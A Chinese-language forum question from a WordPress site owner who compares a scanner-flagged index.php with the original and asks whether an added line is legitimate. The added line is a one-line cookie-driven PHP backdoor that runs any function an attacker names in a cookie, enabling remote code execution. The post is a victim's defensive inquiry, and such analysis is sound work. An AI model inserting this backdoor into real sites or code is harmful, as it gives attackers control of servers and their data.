【发布时间】:2016-09-22 11:22:02
【问题描述】:
最近删除“CXS扫描仪”并检测到根文件夹中的所有文件为的WP网站文件之一
index.php'
Known exploit = [Fingerprint Match] [PHP COOKIE Exploit [P1036]]
当我将检测为 cookie 漏洞利用的文件与旧版本进行比较时,我注意到此文件中添加了额外的代码行:
检测到index.php
<?php
if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
老index.php
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
我不是 PHP 开发人员,在比较添加到标记文件的这行代码时:
if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);
应该存在还是存在安全漏洞?
【问题讨论】:
标签: php wordpress security cookies